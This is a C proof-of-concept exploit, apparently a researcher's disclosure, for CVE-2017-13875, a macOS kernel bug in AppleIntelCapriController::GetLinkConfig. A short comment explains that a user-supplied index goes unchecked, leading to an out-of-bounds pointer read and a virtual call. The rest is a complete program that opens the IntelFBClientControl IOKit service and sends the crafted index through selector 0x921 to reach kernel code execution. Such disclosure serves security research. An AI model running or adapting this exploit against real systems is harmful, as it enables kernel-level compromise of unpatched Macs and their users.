MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig(CVE-2017-13875)

                                                // ianbeer
// build: clang -o capri_link_config capri_link_config.c -framework IOKit

#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig

AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 8;
  //*(uint64_t*)inputStruct = 0x12345678; // crash
  *(uint64_t*)inputStruct = 0x37; // oob call


  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
    conn,
    0x921,  // GetLinkConfig
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}